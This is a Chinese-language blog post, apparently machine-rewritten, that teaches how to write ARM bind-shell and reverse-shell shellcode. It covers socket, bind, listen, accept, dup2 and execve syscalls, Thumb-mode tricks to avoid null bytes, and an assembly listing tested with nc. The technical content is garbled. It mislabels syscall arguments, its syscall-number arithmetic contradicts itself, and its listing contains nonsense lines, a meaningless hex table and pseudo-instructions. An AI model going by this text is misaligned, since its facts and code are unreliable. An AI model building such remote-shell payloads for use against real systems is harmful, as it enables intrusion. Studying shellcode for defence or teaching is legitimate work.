博客
关于我
ARM exploit编写二
阅读量:741 次
发布时间:2019-03-21

本文共 2579 字,大约阅读时间需要 8 分钟。

学习如何编写实现bind shell和reverse shell的shellcode是一项复杂但极具挑战性的任务,涉及到深入的操作系统知识以及汇编语言的编写。以下是通过实际操作和对技术细节的深入分析,逐步阐述实现bind shell和reverse shell的解法。

1. 理解bind shell和reverse shell的工作原理

Bind Shell:

  • 目标:在目标机器上打开一个通信端口或监听器。
  • 过程
  • 创建新的TCP socket。
  • 将socket绑定到本地某个端口。 3.监听到来的连接。 4.接收连接,并将输入输出错误重定向到客户端新连接的socket中。 5.利用shell执行命令。

Reverse Shell:

  • 目标:让目标机器回连到攻击者机器,通常通过开放一个监听端口接收远端连接。
  • 优点:不受防火墙的严格限制,因为空间较小且传入连接通常被允许。

2. 收集和分解系统调用的参数

  • socket(2, 1, 0):创建socket。参数依次为file_type(2=socket), protocol(1=IPv4), flags(0=STREAM)。
  • bind(3, 16, 0):将socket绑定到指定的IP和端口。注意IP地址不能有空字节,通常使用0.0.0.0以避免IP地址受限。
  • listen(2048, 128):设置socket监听的 backlog数和正在等待接受的连接数。
  • accept(.,.,.):接收连接,并返回新的连接socket和客户端地址。

3. 在汇编代码中实现bind shell的各个阶段

Thumb 模式编码

  • 原因:在Thumb模式下,指令更短,减少了空字节的可能性。
  • 实现:通过设置PC寄存器的最低有效位为1,然后使用BX指令切换到Thumb模式。

socket和bind调用的实现

socket调用:
  • 汇编代码示例
    .THUMB
    mov r0, #2
    mov r1, #1
    sub r2, r2, r2
    mov r7, #200
    add r7, #1
    add r7, #2
    svc ; 200不是281发生混淆?
bind调用:
  • 使用文字池存储地址和端口,通过ADR指令和STRB指令实现动态写入,避免空字节。

listen和accept调用的实现

  • 使用保存的socket将其设置为监听状态,然后接受连接。
accept调用的实现:
  • 将host_sockid保存到寄存器,同时将地址信息弄碎,以避免空字节。

4. 处理输入输出重定向和派生shell

  • 使用dup2系统调用重定向输入输出流到客户端连接。
  • 使用execve执行/bin/sh,需要将字符串编写到内存中。

注意事项:

  • 避免使用空字节:通过相互抵消或在汇编中避免。
  • 使用Thumb模式降低指令长度。
  • 文字池存放常量,使用ADR和STRB指令动态地处理。

5. 实际编码示例

;这是一个简化的bind shell汇编代码
.NeatHexFormat TWOTABS
│亭字节顺序的表格
0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
...
2: 02 FF 0A 01 5C 01 01 00 01 01 00 01 01 00
3: ............ .........
4: ............ .........
...
受支持的指令在两个字节的跨度内会有特殊的行为。
; 在代码入口处进行初始化
_start:
.ARM
add r3, pc, #1
bx r3
;切换到Thumb模式
; socket调用
mov r0, #2
; r0 = AF_INET
mov r1, #1
; r1 = SOCK_STREAM
sub r2, r2, r2
; r2 = 0
mov r7, #281
; 281是socket的系统调用号
add r7, #81
; r7 = 281 + 81 = 362 ?
; loudness
; 绑定socket到本地地址和端口
adr r1, struct_addr
strb r2, [r1, #1]
; 写入AF_INT 0xff,变成null byte
; 替换1.1.1.1 IP地址到0.0.0.0
strb r2, [r1, #4]
; 替换端口号4444到0
mov r2, #16
add r7, #1
; r7 = 281 + 1 = 282
svc
mov r4, r0 ;保存host_sockid
;监听阶段
mov r0, r4
mov r1, #2
add r7, #2
; r7 = 282 + 2 = 284
svc
; 接受连接
mov r0, r4
sub r1, r1, r1
sub r2, r2, r2
add r7, #1
svc
mov r4, r0
; 处理输入输出重定向
dup2 client_sockid, 0
; ...
dup2 client_sockid, 1
dup2 client_sockid, 2
;派生shell
溢出 r2, [r0, #0]
mov r7, #11
svc

6. 测试和验证

  • 生成可执行文件并测试,如objcopy -o .text -O binary bind_shell.bin
  • 在另一终端输入nc localhost 4444连接测试 -输入命令如whoami查看是否成功

7. 注意事项

  • 保险避免空字节:通过让寄存器相互抵消。
  • 使用可选段和文字池存储常数,使用溢出命令动态处理为空字节。
  • 编写代码时,代码段必须是可写的。

编写有效的bind和reverse shell shellcode不仅需要深入了解系统调用的工作原理,还需要对汇编语言有深入的掌握,同时需要对内存管理和缓冲区操作有深入的了解。在实际操作中,还需要测试每一步是否正确,以确保最终的shellcode能够成功绕过目标机器的安全措施,实现远程控制。

转载地址:http://oiegz.baihongyu.com/

你可能感兴趣的文章
npm install 报错 EEXIST File exists 的解决方法
查看>>
npm install 报错 ERR_SOCKET_TIMEOUT 的解决方法
查看>>
npm install 报错 Failed to connect to github.com port 443 的解决方法
查看>>
npm install 报错 fatal: unable to connect to github.com 的解决方法
查看>>
npm install 报错 no such file or directory 的解决方法
查看>>
npm install 权限问题
查看>>
npm install报错,证书验证失败unable to get local issuer certificate
查看>>
npm install无法生成node_modules的解决方法
查看>>
npm install的--save和--save-dev使用说明
查看>>
npm node pm2相关问题
查看>>
npm run build 失败Compiler server unexpectedly exited with code: null and signal: SIGBUS
查看>>
npm run build报Cannot find module错误的解决方法
查看>>
npm run build部署到云服务器中的Nginx(图文配置)
查看>>
npm run dev 和npm dev、npm run start和npm start、npm run serve和npm serve等的区别
查看>>
npm run dev 报错PS ‘vite‘ 不是内部或外部命令,也不是可运行的程序或批处理文件。
查看>>
npm scripts 使用指南
查看>>
npm should be run outside of the node repl, in your normal shell
查看>>
npm start运行了什么
查看>>
npm WARN deprecated core-js@2.6.12 core-js@<3.3 is no longer maintained and not recommended for usa
查看>>
npm 下载依赖慢的解决方案(亲测有效)
查看>>